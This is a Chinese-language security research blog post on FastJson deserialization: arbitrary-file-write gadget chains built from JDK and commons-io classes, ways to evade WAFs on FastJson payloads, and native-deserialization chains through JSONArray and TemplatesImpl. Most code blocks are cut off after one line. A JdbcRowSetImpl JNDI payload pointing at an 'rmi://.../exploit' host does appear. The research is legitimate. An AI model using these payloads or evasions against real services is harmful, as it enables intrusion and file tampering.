那么 javap -l sun.rmi.server.MarshalOutputStream 发现 MarshalOutputStream 的构造函数的参数有 LocalVariableTable 信息,那么 ASMUtils.lookupParameterNames 也就可以正常获取有参构造函数了。
1 | public sun.rmi.server.MarshalOutputStream(java.io.OutputStream) throws java.io.IOException; |
如果 json 后续的属性与构造函数的参数名对应上(例如 sun.rmi.server.MarshalOutputStream(out, protocolVersion)):
1 | { |
那么随后我们就可以调用到对应的构造函数将 MarshalOutputStream 实例化。
1 | at sun.rmi.server.MarshalOutputStream.<init>(MarshalOutputStream.java:64) |
在上述分析的基础上,我们可以构造出下面这个任意文件写的 payload:
1 | { |
首先最内层是一个 java.io.FileOutputStream 类的实例。由于我们使用的 JDK 带参数符号,因此可以通过:
1 | { |
并且 FileOutputStream 继承于 AutoCloseable,可以通过 checkAutoType 的检查。

直接定位到 java.io.FileOutputStream 对应的构造函数并调用:
1 | /** |
之后是 java.util.zip.InflaterOutputStream:
1 | { |
InflaterOutputStream 同样继承于 AutoCloseable,可以通过 checkAutoType 的检查。

对应调用如下构造函数:
1 | /** |
InflaterOutputStream 继承自 FilterOutputStream,你把压缩过(deflate/zlib)的字节写进它的 write(...),它会当场解压,再把解压后的明文写到它包裹的下游 OutputStream(比如 FileOutputStream、SocketOutputStream)。
Inflater 就 zlib/deflate 解压器的“状态机”对象。InflaterOutputStream 并不自己解析压缩格式,而是把“压缩输入给 Inflater,再从它那里把解压后的明文取出来写到下游的 OutputStream(比如 FileOutputStream)。
当 FastJson 解析到我们 Json 数据中的下面这部分内容时:
1 | "infl": { |
会先将 input 后面的内容进行 Base64 加码,然后调用 Inflater#setInput,从而设置好 Inflater 中的 buf、off、len 属性。这里的 buf 是 Inflater 用来缓存待解压数据的地方。
1 | /** |
再后面是 sun.rmi.server.MarshalOutputStream:
1 | { |
对应调用的构造函数如下:
1 | public MarshalOutputStream(OutputStream out, int protocolVersion) |
由于 MarshalOutputStream 直接继承于 ObjectOutputStream,因此 super(out) 会直接调用到 ObjectOutputStream 的构造函数:
1 | public ObjectOutputStream(OutputStream out) throws IOException { |
其中 BlockDataOutputStream#setBlockDataMode 会触发我们传入的 out 的 write 方法调用:
1 | /** |
由于这里我们传入的 out 是前面我们构造的 java.util.zip.InflaterOutputStream,因此这里调用的是 InflaterOutputStream#write 方法。
1 | /** |
InflaterOutputStream#write 首先会通过 inf.needsInput 判断是否能够将当前 write 要输出的内容追加进去。
1 | /** |
由于前面通过 Inflater#setInput 的设置,这里 len > 0 因此返回 false,因此这里不会将 ObjectOutputStream 内容追加进去,而是而是直接将 InflaterOutputStream 中缓存的内容解压到 buf 缓冲区中,然后调用 FileOutputStream#write 写入到指定的文件中。这里的 buf 是在调用 InflaterOutputStream 构造函数时根据 bufLen 参数指定的长度分配的缓冲区。
1 | n = inf.inflate(buf, 0, buf.length); // 将现有压缩输入解压到 buf |
其中 Inflater#inflate 会通过 JNI 调用解压 Inflater#buf 中的内容,然后将解压后的数据写入参数 b 的 off 偏移处,并返回解压后数据的长度 n。
JNI(Java Native Interface)是 Java 调用本地代码(C/C++/汇编) 的桥梁。在
java.util.zip.Inflater里你看到的inflateBytes(zsRef.address(), ...)本质上是个 native 方法:它把参数和一个 原生 zlib 状态指针(zsRef里保存的z_stream*地址)传给 C 层的 zlib,由 zlib 完成实际解压。
inflate这里使用的是 DEFLATE 算法(RFC 1951),在 Java 的Inflater默认构造(new Inflater(),nowrap=false)下,期望的输入格式是 zlib 封装(RFC 1950):
- 具有 zlib 头部(常见首字节
0x78,Base64 往往以eJ开头);- 末尾带 Adler-32 校验。
我们可以使用如下命令生成要写入文件的内容:
1 printf 'asdads' | python3 -c 'import sys,zlib,base64;print(base64.b64encode(zlib.compress(sys.stdin.buffer.read())).decode())'
1 | /** |
XmlStreamReader
前面的 MarshalOutputStream 利用链虽然只依赖于原生 JDK 中的类,但是其中 sun.rmi.server.MarshalOutputStream、java.util.zip.InflaterOutputStream 以及 java.io.FileOutputStream 均是基于带参数的构造函数进行构建。
而 FastJson 在通过带参构造函数进行反序列化时,会检查参数是否有参数名,只有含有参数名的带参构造函数才会被认可,且通常 JDK 中的字节码调试信息中没有 LocalVariableTable,因此该利用链对 Java 环境的要求较高,实际渗透测试中满足此要求的环境只占小部分(目前已知 CentOS 下的 OpenJDK 8 字节码调试信息,可以用来复现),因此需要寻找更为通用的利用链。
根据前面对 MarshalOutputStream 的利用链的分析,我们可以总结出基于 JavaBeanDeserializer 的expectClass 绕过利用链的挖掘思路:
- 需要一个通过 setter 方法或构造方法指定文件路径的
OutputStream; - 需要一个通过setter 方法或构造方法传入字节数据的
OutputStream,并且可以通过 setter 方法或构造方法传入一个OutputStream,最后可以通过write方法将传入的字节码write到传入的OutputStream; - 需要一个通过
set方法或构造方法传入一个OutputStream,并且可以通过调用toString、hashCode、getter、setter、构造方法调用传入的OutputStream的 flush 方法;
由于大部分 JDK/JRE 环境的类字节码里都不含有 LocalVariableTable,而很多第三方库里的字节码是有LocalVariableTable 的。因此我们可以把目光转向 maven 使用量 top100 的第三方库,寻找其中所有实现 java.lang.AutoCloseable 接口、同时保留有 LocalVariableTable 调试信息的类,并按照 FastJson 1.2.68 的黑名单进行筛选去除。
这里我们选择了 commons-io 库中的 XmlStreamReader 等几个类组成了一个利用链实现任意文件写。commons-io 库的 Maven 坐标如下:
1 | <dependency> |
利用链中涉及到的 org.apache.commons.io.input.XmlStreamReader,org.apache.commons.io.input.TeeInputStream,org.apache.commons.io.input.ReaderInputStream,org.apache.commons.io.input.CharSequenceReader,org.apache.commons.io.output.WriterOutputStream,org.apache.commons.io.output.FileWriterWithEncoding 全部继承于 java.lang.AutoCloseable。

org.apache.commons.io.input.XmlStreamReader 的构造函数中接受 InputStream 对象为参数:
1 | public XmlStreamReader(final InputStream is, final String httpContentType, |
XmlStreamReader 构造函数将输入的 InputStream 做了多层封装,形成了下面这种结构:
1 | BOMInputStream pis |
并且 XmlStreamReader 构造函数中的 doHttpStream 函数会触发 InputStream.read(),调用,调用栈如下:
1 | at java.io.InputStream.read(InputStream.java:129) |
其中 java.io.BufferedInputStream#fill 方法调用的 in 也就是 XmlStreamReader 构造函数传入的参数 InputStream is 的 read 方法。
1 | private void fill() throws IOException { |
因此 XmlStreamReader 的构造函数作为整个链的入口,链到 InputStream.read(byte[], int, int) 方法。
org.apache.commons.io.input.TeeInputStream 的构造函数接受 InputStream 和 OutputStream 对象为参数:
1 | public TeeInputStream( |
而它的 read 方法,会把 InputStream 流里读出来的东西,再写到 OutputStream 流里,正如其名,像是管道重定向:
1 | public int read(final byte[] bts, final int st, final int end) throws IOException { |
通过 TeeInputStream,InputStream 输入流里读出来的东西可以重定向写入到 OutputStream 输出流。
org.apache.commons.io.input.ReaderInputStream 的构造函数接受 Reader 对象作为参数:
1 | public ReaderInputStream(final Reader reader, final CharsetEncoder encoder, final int bufferSize) { |
它在执行 read 方法时,会执行 fillBuffer 方法,从而执行 Reader.read(char[], int, int) 方法,从 Reader 中来获取输入:
1 | public int read(final byte[] b, int off, int len) throws IOException { |
org.apache.commons.io.input.CharSequenceReader 的构造函数接受 CharSequence 对象作为参数:
1 | public CharSequenceReader(final CharSequence charSequence) { |
它在执行 read 方法时,会读取 CharSequence 的值:
1 | public int read(final char[] array, final int offset, final int length) { |
因此组合一下 ReaderInputStream 和 CharSequenceReader,就能构建出从自定义字符串里读输入的 InputStream:
1 | { |
提示
org.apache.commons.io.input.CharSequenceReader 的构造函数参数的类型为 CharSequence 接口,但是对应在构造的 Json payload 中却写成如下形式:
1 | "charSequence": { |
这是因为对 构造器参数是接口类型 的解析,fastjson 会这样做:
见到
charSequence: { ... },进入一个对象。这个对象里第一个键是
@type→ 触发 autoType 重定向:checkAutoType("java.lang.String", expectClass=CharSequence)→ 通过(String实现了CharSequence)。1
2
3public final class String
implements java.io.Serializable, Comparable<String>, CharSequence {
// [...]于是 改用
StringCodec来“继续读取这个对象后面的内容”。1
2
3
4
5private void initDeserializers() {
// [...]
deserializers.put(String.class, StringCodec.instance);
// [...]
}
此时已经进入了
StringCodec的反序列化流程,而StringCodec的代码只想看到“一个字符串字面量 token” 作为值,即"@type": "java.lang.String" "<<<你的字符串>>>"格式。
在 com.alibaba.fastjson.serializer.StringCodec#deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) 函数中,对于 CharSequence 这种形式的 clazz 会进入到 deserialze(DefaultJSONParser parser) 函数。
1 | /** |
而 deserialze(DefaultJSONParser parser) 期望 Json 数据后面紧接着的是一个字符串字面量,然后获取字符串并返回。
1 | /** |
那么现在有触发 InputStream read 方法的链入口,也有能传入可控内容的 InputStream,只差一个自定义输出位置的 OutputStream 了。
org.apache.commons.io.output.WriterOutputStream 的构造函数接受 Writer 对象作为参数:
1 | public WriterOutputStream(final Writer writer, final CharsetDecoder decoder, final int bufferSize, |
它在执行 write 方法时,会执行 flushOutput 方法,从而执行 Writer.write(char[], int, int),通过 writer 来输出:
1 | public void write(final byte[] b, int off, int len) throws IOException { |
org.apache.commons.io.output.FileWriterWithEncoding 的构造函数接受 File 对象作为参数,并最终以 File 对象构建 FileOutputStream 文件输出流。随后我们创建的 FileOutputStream 文件输出流会被传入 OutputStreamWriter 构造函数参与实例化,并且实例化结果被设置在 out 属性上。
OutputStreamWriter是字符到字节的桥接器(Writer → OutputStream)。你向它写字符,它按指定字符集(如 UTF‑8)把字符编码成字节,再写入到底层的OutputStream(如文件/网络套接字)。
编码方式可以通过字符集名称构造(
new OutputStreamWriter(out, "UTF-8"),可能抛UnsupportedEncodingException)。每次调用
write(...),内部都会驱动StreamEncoder:先把字符编码到字节缓冲,再把缓冲写到底层输出流。
1 | public FileWriterWithEncoding(final File file, final String encoding, final boolean append) throws IOException { |
而 write 函数直接向 OutputStreamWriter 写入数据,也就会向 FileOutputStream 写入数据:
1 | public void write(final char[] chr, final int st, final int end) throws IOException { |
因此组合一下 WriterOutputStream 和 FileWriterWithEncoding,就能构建得到输出到指定文件的 OutputStream。
1 | { |
提示
在实际测试时发现,payload 的格式会影响 FastJson 的解析流程,导致某些类实例化失败:
1 | Exception in thread "main" com.alibaba.fastjson.JSONException: create instance error, null, public org.apache.commons.io.output.WriterOutputStream(java.io.Writer,java.nio.charset.Charset,int,boolean) |
或者 checkAutoType 的 expectClass 为 null 导致检查不通过:
1 | Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. org.apache.commons.io.output.WriterOutputStream |
实测下面这个格式的 payload 成功率会高一些,原因不明。
1 | { |
尝试用 FastJson 进行解析执行,发现文件创建了,也确实执行到了 FileWriterWithEncoding.write(char[], int, int) 方法,但是文件内容是空的?
这里涉及到的一个问题就是:对于 OutputStreamWriter 对象,当要写入的字符串长度不够时,输出的内容会被保留在 ByteBuffer 中,不会被实际输出到文件里。
具体来说有如下调用栈:
1 | at sun.nio.cs.StreamEncoder.implWrite(StreamEncoder.java:265) |
其中 sun.nio.cs.StreamEncoder#implWrite 函数会调用 java.nio.charset.CoderResult#isOverflow 判断当前字节缓冲区 bb 空间是否已满,如果缓冲区已满则会触发写入操作。
1 | /** |
问题搞清楚了,我们需要写入足够长的字符串才会让它刷新 buffer,写入字节到输出流对应的文件里。那么很自然地想到,在 charSequence 处构造超长字符串是不是就可以了?
可惜并非如此,原因是 InputStream buffer 的长度大小在这里已经是固定的 4096 了:
1 | private static final int BUFFER_SIZE = 4096; |
也就是说每次读取或者写入的字节数最多也就是 4096,但 Writer buffer 大小默认是 8192:
1 | private static final int DEFAULT_BYTE_BUFFER_SIZE = 8192; |
因此仅仅一次写入在没有手动执行 flush 的情况下是无法触发实际的字节写入的。
解决方法是通过 $ref 循环引用,多次往同一个 OutputStream 流里输出即可。一次不够 overflow 就多写几次,直到 overflow 为止,就能触发实际的文件写入操作。
1 | { |
提示
实际写成下面这种形式成功率高一些:
1 | { |
最后括号不闭合可以避免下面这个报错:
1 | Exception in thread "main" com.alibaba.fastjson.JSONException: not close json text, token : } |
commons-io 2.7 - 2.8.0 版本:
1 | { |
Fastjson 绕 waf
添加空白字符
在 com.alibaba.fastjson.parser.JSONLexerBase#skipWhitespace 不难看出默认会去除键、值外的空格、\b、\n、\r、\f 等。
1 | /** |
添加多个逗号
FastJson 中有个默认的 Feature 是开启的 AllowArbitraryCommas,这允许我们用多个逗号。
1 | /** |
这里可以添加的位置很多:
1 | {,,,,,,"@type":"com.sun.rowset.JdbcRowSetImpl",,,,,,"dataSourceName":"rmi://127.0.0.1:1099/exploit",,,,,, "autoCommit":true} |
字段名双引号替代
在 fastjson 中,默认启用了两个与字段名解析相关的特性:
AllowSingleQuotes:允许使用单引号'key': 'value'形式;AllowUnQuotedFieldNames:允许字段名省略引号,例如dataSourceName: "xxx"是合法的。
这两个特性虽然违反了标准 JSON 语法(RFC 8259 中字段名必须用双引号包裹),但 fastjson 为了兼容 JavaScript 风格或简化书写,默认将其开启。
1 | /** |
下列 payload 中,字段名 dataSourceName 没有加引号,但依然合法 —— 这是因为 AllowUnQuotedFieldNames 默认是开启的:
1 | { |
注意
其中
AllowUnQuotedFieldNames仅在解析字段名时生效,即只影响冒号左边的字段名,不会影响值(冒号右边)的解析。而字段值仍然需要引号(单、双引号均可),比如"rmi://...",否则会被当作标识符解析,解析失败或不符合预期。对于特殊的字段例如
@type,不加引号会导致报错。这是因为scanSymbolUnQuoted(...)开头做了首字符校验:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19public final static boolean[] firstIdentifierFlags = new boolean[256];
static {
for (char c = 0; c < firstIdentifierFlags.length; ++c) {
if (c >= 'A' && c <= 'Z') {
firstIdentifierFlags[c] = true;
} else if (c >= 'a' && c <= 'z') {
firstIdentifierFlags[c] = true;
} else if (c == '_' || c == '$') {
firstIdentifierFlags[c] = true;
}
}
}
final boolean[] firstIdentifierFlags = IOUtils.firstIdentifierFlags;
final char first = ch;
final boolean firstFlag = ch >= firstIdentifierFlags.length || firstIdentifierFlags[first];
if (!firstFlag) {
throw new JSONException("illegal identifier : " + ch + info());
}IOUtils.firstIdentifierFlags里只把这些字符标记为可作为字段名首字符:- 英文字母
A–Z / a–z - 下划线
_ - 美元符号
$
(以及 非 ASCII 字符,因ch >= 256会被视为true)
而
@不在允许集合 里,所以当你写未加引号的@type时会直接抛出:1
JSONException: illegal identifier : @
- 英文字母
编码绕过
首先在 com.alibaba.fastjson.parser.JSONLexerBase#scanSymbol,当中可以看见,如果遇到了 \u 或者 \x 会有解码操作。
1 | chLocal = next(); // 读取下一个字符到 chLocal,并推进全局游标 ch(next() 通常也会更新 ch) |
因此我们可以通过编码绕过:
1 | { |
对字段添加可忽略字符
下划线和减号
在 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField 解析字段的 key 的时候调用了 smartMatch,该函数会将字段内的 _ 和 - 替换为空。
1 | String key2 = null; |
由于这里有 break,不支持两个一起混合使用,只能单一使用其中一个,随便加。
1 | { |
1.2.36 版本及以后,smartMatch 改成了调用 com.alibaba.fastjson.util.TypeUtils#fnv1a_64_lower,该函数会忽略所有的 _ 和 -。
1 | public static long fnv1a_64_lower(String key) { |
因此这里可以在键名添加任意数量的 _ 和 -。
1 | { |
属性前添加 is
1.2.36 版本之后会忽略属性的前缀 is。
1 | // smartMatchHashArrayMapping |
例如:
1 | { |
注释绕过
com.alibaba.fastjson.parser.JSONLexerBase#nextToken 函数在遇到注释的时候会调用 skipComment 跳过。
1 | /** |
并且跳过空白字符的时候也会调用 skipComment 跳过注释。
1 | /** |
在 skipComment 中,判断注释结束时有一个特殊的标志 EOI(0x1A)。当 skipComment 遇到该字符时意味着注释结束,因此会立即返回。
注意
遇到 EOI 时这里不会再额外调用 next() 把它“吃掉”,而是直接返回,保留当前 ch == EOI 的状态;下一次由外层代码再调用 next(),指针才会继续往后走。
1 | /** |
当 skipComment 因为遇到 EOI 而立即返回后,如果是返回到 nextToken 函数,则由于 nextToken 的循环中没有针对 EOI 的分支,因此会进入 default 分支。这里 isEOF() 返回 false 因此进入 else 分支。而在 else 分支,由于 ch = EOI <= 31 因此会执行 next() 将当前字符吃掉然后跳出循环。
1 | // (位于 nextToken() 的一个 switch 分支的 default: 情况) |
这里 isEOF 实际上调用的是 com.alibaba.fastjson.parser.JSONScanner#isEOF,实现如下:
1 | /** |
由于 ch == EOI 但是不满足 bp + 1 == len 即没有解析到 json 数据末尾,因此会返回 false。
因此像下面这种写法,前面的注释是被 \u001A 截断,并且 \u001A 本身被忽略,而后面的 */ 由于前面 json 已经触发利用因此也不需要关心了。
1 | "/*\u001A{\n" + |
而如果 WAF 使用这种下面形式删除注释快,那么会将 json 中的 \* ... *\ 形式的注释连带中间内容清空。因此经过这层过滤后在 WAF 的视角 json 是空数据,而实际进行反序列化的却是原数据,那么就可以绕过 WAF。
1 | preg_replace("(/\*(.*?)\*/)", "", json); |
如果是下面这种 payload 则会返回到 skipWhitespace 函数。
1 | "{\n" + |
在 skipWhitespace 函数中,从 skipComment 返回时解析的字符是 EOI,不属于任何一个空白字符,因此紧接着又会从 skipWhitespace 函数返回。
1 | public final void skipWhitespace() { |
通常这会返回到 parseObject 函数,随后由于开启 AllowArbitraryCommas 会跳过任意数量的 ,;之后会对当前字符进行判断。显然此时当前字符是 EOI,因此会抛出 syntax error 错误。
1 | lexer.skipWhitespace(); |
FastJson 原生反序列化
FastJson 中继承 Serializable 接口的只有 JSONArray 与 JSONObject,因此我们只能针对这两个类寻找反序列化利用链。
Fastjson1
虽然 JSONArray 有实现这个 Serializable 接口但是它本身没有实现 readObject 方法的重载,并且继承的 JSON 类同样没有 readObject 方法,那么只有一个思路了,通过其他类的 readObject 做中转来触发 JSONArray 或者 JSON 类当中的某个方法最终实现反序列化利用。
我们想到,前面 BasicDataSource 利用链通过触发 JSONObject 对象的 toString 方法来触发序列化过程:
1 |
|
这里 toString 方法继承于 JSONObject 的父类 JSON,而 JSONArray 同样继承于 JSON。
因此我们只需要寻找一个能在反序列化过程中触发 JSONArray 类型的成员的 toString 方法的类,然后再通过 JSONArray 的序列化过程调用 TemplatesImpl#getOutputProperties 方法实现任意字节码加载就可以完成利用。
javax.management.BadAttributeValueExpException 在反序列化的时候会触发 val 属性的 toString 方法。
1 | /** |
最终 poc 如下,该反序列化链在 1.2.49 版本之前可以成功。
1 | import com.alibaba.fastjson.JSONArray; |
从 1.2.49 开始,JSONArray 以及 JSONObject 方法开始真正有了自己的 readObject 方法。
以 JSONArray#readObject 为例,该函数使用 com.alibaba.fastjson.JSONObject.SecureObjectInputStream 包装原始的 ObjectInputStream,然后再调用 SecureObjectInputStream#defaultReadObject 执行默认反序列化。
1 | private void readObject(final java.io.ObjectInputStream in) |
SecureObjectInputStream 继承于 ObjectInputStream,并且重写了 resolveClass 和 resolveProxyClass 两个负责加载类的函数:
1 | /** |
这两个函数分别会对类名以及代理类实现的接口名进行 FastJson 的 autoType 校验。因此我们构造的 JsonArray 中所有的属性以及属性的属性等对应的类在加载时都会经过 autoType 校验。
然而显然这个校验是可以绕过的。因为在 Java 反序列化的过程中,如果一个类不是 unshared,那么这个类一旦加载并实例化后,会被放在对象句柄表(handles)中。
例如对于普通对象,readNonProxyDesc 函数调用 resolveClass 根据 ObjectStreamClass 中的信息从本地加载类,然后通过 desc.initNonProxy 将加载的类放到了 ObjectStreamClass 中。而 ObjectStreamClass 存放在对象句柄表 handles 中。
1 | // 2) 创建空的 OSC,并分配句柄(unshared 时登记特殊标记以禁止后续回引) |
而后续相同的对象在序列化数据中是以“对象句柄引用”的形式存在,因此在反序列化的时候走的是 readHandle 逻辑直接根据句柄值从 handles 中取对象并返回,因此不会调用到 resolveClass 或 resolveProxyClass 函数加载类。
1 | // 查出该句柄所对应的对象 |
因此我们可以向 List、Set、Map 等类型的容器中分别添加 TemplatesImpl 和前面构造的 JsonArray,确保 JsonArray 中的 TemplatesImpl 是对象引用即可绕过。
1 | import com.alibaba.fastjson.JSONArray; |
Fastjson2(≤ 2.0.26)
与 Fastjson1 相同,只不过依赖改为了:
1 | <dependency> |
poc 如下:
1 | import com.alibaba.fastjson2.JSONArray; |
2.0.27 版本开始,JSON#toString 不再调用 JSON#toJSONString,因此该利用链失效。
1 | public String toString() { |
- Title: Java FastJson
- Author: sky123
- Created at : 2025-09-09 00:45:24
- Updated at : 2025-09-18 23:01:28
- Link: https://skyi23.github.io/2025/09/09/Java FastJson/
- License: This work is licensed under CC BY-NC-SA 4.0.